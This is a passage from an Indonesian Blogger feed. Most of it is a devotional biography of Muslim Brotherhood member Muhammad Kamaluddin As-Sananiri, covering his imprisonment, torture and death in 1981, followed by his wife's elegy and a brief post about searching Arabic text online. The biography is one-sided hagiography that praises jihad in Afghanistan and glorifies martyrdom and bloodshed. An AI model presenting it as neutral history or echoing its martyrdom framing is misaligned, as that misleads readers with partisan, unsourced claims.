berhasil meyakinkannya agar tidak berangkat ke Amerika, sebab ada beberapa kerugian menyangkut keberadaannya di Amerika. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Keterkaitan Muhammad Kamaluddin As-Sananiri dengan Ikhwanul Muslimin &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin As-Sananiri bergabung dengan jamah Ikhwanul Muslimin pada tahun 1941. Karena paham, ikhlas, dan dinamis, ia lebih menonjol di kalangan anggota-anggota Ikhwan seusianya. Bahkan ia banyak mendapatkan tugas. Muhammad Kamaluddin As-Sananiri murid yang setia pada prinsip-prinsip gurunya, Imam Asy-Syahid Hasan Al-Banna. Ia memahami jalan dakwah dipenuhi ancaman, duri, dan rintangan. Sebab, itulah jalan menuju surga, jalan yang dipenuhi dengan hal-hal yang tidak mengenakkan.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin As-Sananiri menghafal dan mengulang-ulang ungkapan seorang guru pada muridnya,“&lt;i&gt;Ketidaktahuan rakyat pada hakikat Islam akan menjadi kendala bagi kalian. Ulama resmi yang menjilat pada penguasa akan memusuhi kalian. Setiap pemerintah berusaha membatasi aktivitas kalian dan memasang gangguan di jalan yang kalian tempuh. Mereka akan meminta bantuan dengan menjilat orang-orang yang berjiwa lemah dan berhati sakit. Sebaliknya, akan berlaku kasar dan beringas pada kalian. Karena itu, kalian akan di pejara, disiksa, diusir, rumah-rumah kalian digeledah, harta kalian dirampas, dan tuduhan kejih dilontarkan kepada kalian, dengan harpan wibawah kalian akan hilang. Mungkin, ujian itu kan berlangsung lama. Sadarilah, saat itu kalian baru mulai menapaki jalan yang telah ditempuh para mujahid&lt;/i&gt;.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin As-Sananiri mampu menerjemahkan ungkapan tersebut dalam realita kehidupan. Ia dan beberapa saudaranya benar-benar merasakan yang tergambar dalam ungkapan itu selama seperempat abad di penjara. Meskipun berada dalam gelapnya jeruji besi dan ganasnya cambukan cemeti, mereka tidak pernah menyerah dan mengucapkan sepatah kata pun. Justru, dzikir kepada Allah selalu menghiasi lisan meraka. Mereka merasa Allah selalu bersama dan menjaga meraka. Karena itu, meskipun disiksa mereka menikati siksaan. Ujian tidak memberi pengaruh kecuali menjadikan mereka semakin dekat kepada Allah dan rindu kepada-Nya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Ayahnya wafat dengan meninggalkan keluarga yang tgerdiri dari seorang ibu, tiga anak laki-laki dan tiga anak perempuan. Karena itu, menjadi penganti ayahnya, memberikan belanja kepada keluarga. Demikianlah, akhirnya ia memikul tugas-tugab dakwah dan keluarga. Tapi, ia ridha dengan apa yang telah ditentukan oleh Allah untuknya berusaha memenuhi kebutuhan kelurga, dan tetap aktif di kegiatan-kegiatan dakwah. Ia menanam tanaman yang mendatangkan buah di masa depannya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Ketika musuh Islam membuat konspirasi untuk dakwah dan tokoh-tokohnya, ia mendapat ujian, sebagaimana yang dialami saudara-saudara seperjuangannya. Tangal 28 Februari 1954, massa bergerak menuju Istana Abidin untuk menyerukan kemerdekaan yang telah dipasaung dan dirampas Abdun Naser dan kaki tanganya. Muhammad Kamaluddin As-Sananiri punya peran penting dalam menata dan mengkoodinasikan demo besar tersebut. Tragisnya, demonstrasi yang diikuti ratusan ribu massa dan dikomandani Asy-Syahid Abdul Qadir Audah ini dihujani peluru, hingga banyak demonstran yang syahid.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Kaki tangan pengausa selalu memata-matai aktivis yang menjadi koordinator demo yang diantarannya adalah Muhammad Kamaluddin As-Sananiri. Karena itu, ia ditangkap dan mahkama lelucon menjatuhkan hukuman kerja paksa selama dua puluh tahun. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Ia di tangkap bukan Oktober 1954 dan dibebaskan pada bulan Januari 1973. &lt;span style=&quot;&quot;&gt; &lt;/span&gt;pembebasannya bukan atas jasa Anwar Sadat. Sebab, pada masa Sadat ia masih di penjara Al-Wahat, dijemur di bawah terik matahari yang membakar, ditempatkan di padang pasir yang membara, dan disuruh berjalan di padang pasir yang panas membara tanpa alas kaki.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Setelah hukan penjara ditetapkan, mereka menekan istri dan ibunya, agar membujuknya bersikap lunak dan menulis dua baris kalimat dukungan pada Abdun Naser. Ia tidak bergeming sama sekali. Ketika sang ibu yang berusia tujuh puluh tahun itu menangis dan memintanya untuk mengajukan permintaan maaf kepada pemerintah, ia menjawab dengan lembut, “Bagaimana nasibku di hadapan Allah, apabila saya mengemis surat ini pada Abdun Naser, kemudian saya mati? Apakah ibu ridha saya mati dalam keadaan musyrik?”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin As-Sananiri memberi pilihan kepada istrinya untuk tetap menjadi istrinya atau bercerai. Istrinya menitikkan air mata dan berkata, “Saya pilih tetap menjadi istrimu, wahai kekasihku!”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Penangkapan Dan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt; &lt;b&gt;Pemanjaraan Muhammad Kamaluddin As-Sananiri&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Ketika dalam penjara ia mendapatkan penyiksaan keji, hingga salah satu telinganya cidera. Karena itu, ia dipindahkan ke Rumah sakit Al-‘Aini.&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;Keluar dari penjara ia memuji Allah karena telinganya yang cidera dapat mendengar lebih baik dari pada yang tidak cidera. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Saudara ipar dari istrinya yang dicerai juga masuk penjara bersama Muhammad Kamaluddin A-Sananiri. Ketika ia menyaksikan siksaan keras yang menimpa Muhammad Kamaluddin A-Sananiri, ia bengong dan hilang akal, hingga di bawa ke rumah sakit saraf.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Ibu dan saudari tertua Muhammad Kamaluddin A-Sananiri selalu menghadiri mahkama lelucon yang mengadilinya tahun 1954. pada sidang pertama sang ibu tidak mengenali purtanya, karena perubahan fisiknya akibat siksaan. Sang ibu bertanya kepada anak putrinya, “Mana saudaramu?” Purtrinya menjawab, “Dia yang dikurungan itu!” Sang ibu berkata, “Bukan wai putriku. Apakah mataku sudah rabun hingga tidak bisa mengenalinya?”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Tubuh Muhammad Kamaluddin A-Sananiri sangat kurus, hingga pakainnya menjadi longgar. &lt;i&gt;Thaghut &lt;/i&gt;Mesir mencukur habis jenggotnya, merontokkan rahang dan menciderai telingganya, hingga sang ibu tetap bersikeras bahwa yang disidang bukan anaknya, Muhammad Kamaluddin A-Sananiri.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Pernikahan di Penjara&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Pada masa penahanan yang panjang,. Muhammad Kamaluddin A-Sananiri melangsungkan pernikahan dengan wanita mulia, Aminah Quthb, saudari kandung Sayyid Quthb. Keduanya baru dapat berkumpul bersama setelah Muhammad Kamaluddin A-Sananiri keluar dari penjara tahun 1973. ia tidak dikaruniai keturunan dari perkawinan tersebut, karena usia Aminah sudag lebih dari lima puluh tahun.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Sifat Zuhud dan Wara’&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt; &lt;b&gt;Muhammad Kamaluddin A-Sananiri&lt;/b&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Muhammad Kamaluddin A-Sananiri lebih menyukai kesederhanaan dan mencintai orang-orang lugu. Ia membimbing dan mengajarkan aqidah murni yang bersih dari bid’ah dan khurafat kepada mereka. Ia zuhud terhadap kehidupan dunia. Malam ia gunakan untuk &lt;i&gt;qiyamullail&lt;/i&gt; dan sebagian besar siang untuk berpuasa. Saat di penjara, ia hanya mengunakan pakaina kasar dan lusuh.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Tidak heran, kalau lelaki yang cara hidupnya seperti itu enggan meuruti bujukan dan ancaman sipir serta intel pemerintah, agar memberi dukungan kepada Gamal Abdun Naser, meski peluang untuk mengambil &lt;i&gt;rukhshah &lt;/i&gt;&lt;span style=&quot;&quot;&gt;ada.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Muhammad Kamaluddin A-Sananiri buah &lt;i&gt;madrasah&lt;/i&gt; Hasan Al-Banna, saudara yang tulus yang sulit ditemukan pada masa ini. Orang-orang seperti inilah tumpuan harapan umat. Kader seperti inilah yang dapat menyelamatan umat dari keterbelakangan, membangun mereka dari tidur panjang, dan mengembalikan mereka pada &lt;i&gt;manhaj&lt;/i&gt; Ar-Rahman.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Ketika kembali dari Afghanistan, Muhammad Kamaluddin A-Sananiri ditangkap dan disiksa oleh sipir penjara, untuk mengetahui perannya bersama saudara-saudaranya jihad di Afghanistan. Tidak sepatah kata pun keluar dari lisannya, meski siksaan tiada henti dan semakin sadis. Akhrinya, iamenghembuskan nafas terakhirnya sebagai syahid sejati, &lt;i&gt;insya Allah&lt;/i&gt;, tanggal 8 November 1981.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;Muhammad Kamaluddin A-Sananiri senantiasa disiksa durjana yang dipimin penjagal Hasan Abu Pasha. Masa-masa terakhir menjelang syahidnya adalah puncak zuhudnya terhadap dunia dan kerinduannya kepada surga.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;Muhammad Kamaluddin A-Sananiri jatuh di depan algojo yang memaksanya mencadi berbagai jamaah Islam. Meski demikian ia selalu mengatakan “ Sadat telah menggalu kuburanya sendiri saat mendatangani perjanjian menghinakan (Camp David). Perjanjian yang berisi penyerahan leher Mesir kepada Israil dan Amerika.” (Majalah &lt;i&gt;Al-Mujtama’&lt;/i&gt;, 11 November 1981)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Istri Muhammad Kamaluddin A-Sananiri, Aminah Quthb, menulis syair sendu untuk mengenang kepergiannya,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;“&lt;i&gt;aku tidak lagi menunggu yang kembali bersama jadwal sore&lt;/i&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku tak berhias menyambut yang kembali bersama harapan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku tidak menanti yang datang, ungkapan, dan pertemuan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku tidak menanti langkahmu yang datang setelah bertugas&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku menyinari tangga kerinduan yang semakin membahagiakan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku tidak lagi bergegas menyambut senyummu, meski letih&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;menyinari rumah dengan salam yang penuh kehangatan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;detik-detik berulang, tetepi bagaiman kita bertemu di sore hari?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;mata ku tertidur dengan tenang, tidak terganggu ujian&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;telingaku tidak lagi mendengar lantunan doa-doa mu&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;pendengaran ku tidak lagi menangkap suara adzan di angkasa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku bertanya kepada dunia, Adakah yang mendengar suaraku?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;tahukah kamu, kerinduanya pada surga atau cinyanya kepada langit?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;apakah ini janji Allah?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;apakah waktu pemenuhan janji sudah tiba?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;hingga aku berlari seperti orang rindu dan kasmaran pada seruan?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;apakah aku dapat bertemu pada kekasih disana?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;bagaimana model pertemuannya?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;di hadapan Allah di surga Firdaus yang dikucuri karunia?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;apakah di rumah hakiki kalian berkumpul dan berlindung?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;bila ya, selamat datang kematian dan kucuran darah&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;aku akan menemui kalian di sana, dan lenyaplah rumah kesengsaraan &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;ya, aku akan menemui kalian. Ini janju yang akan ditepati &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;kami diberi pahala dalam hari-hari yang berlalu dengan air mata dan ujian &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 36pt; text-align: justify;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;kami berlindung dalam surga, hingga tak takut berpisah atau binasa&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;”&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 36pt;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;Semoga Allah &lt;i&gt;ta’ala&lt;/i&gt; merahmati ustadz ita, Muhammad Kamaluddin A-Sananiri, dengan rahmat yang&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;luas dan mempertemuakan kita dengannya bersama para nabi, shiddiqin, syuhada dan shalihin. Karena mereka sebaik-baik teman. &lt;i&gt;&lt;span style=&quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;       &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt;            &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  </description><link>http://slendangwetan29.blogspot.com/2010/01/muhammad-kamaluddin-sananiri-dai-dan.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-3381284483277555273</guid><pubDate>Wed, 11 Feb 2009 17:31:00 +0000</pubDate><atom:updated>2009-02-11T09:51:57.328-08:00</atom:updated><title>Nulis Arab tanpa keyboard atau software</title><description>&lt;div style=&quot;text-align: justify; font-family: courier new;&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Saya sering ditanya teman-teman kuliah (IAIN) bagaiman cara mencari tulisan berteks arab..ya mentang-mentang aku sering kewarnet.termasuk teman yg di pascasarjana mau cari artikel2 berbahsa arab.&lt;br /&gt;Setalah lama searching di google, akhirnya ku temukan jugu situs yang kasih petunjuk agar mudah mencari tulisan yang berbahasa Arab tanpa mengunakan keyboard tambahan (&lt;a href=&quot;http://kamus.javakedaton.com/&quot;&gt;http://kamus.javakedaton.com/&lt;/a&gt;), kayak yang ada di bagain bawah blog ini.&lt;br /&gt;Namun yang ini berbedanya ini langsung dari web n langsung mencari tulisan tanpa harus mengkopinya satu persatu. klik ja &lt;a href=&quot;http://docs.javakedaton.com/&quot;&gt;di sini&lt;/a&gt;. atau langsung searching di google &lt;a href=&quot;http://findarabic.com/&quot;&gt;di sini&lt;/a&gt; atau melalui situs yamil Arabic search klik&lt;a href=&quot;http://www.yamli.com/&quot;&gt; di sini&lt;/a&gt;..&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2009/02/nulis-arab-tanpa-keyboard-atau-software.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-7894618429377856043</guid><pubDate>Tue, 02 Dec 2008 18:54:00 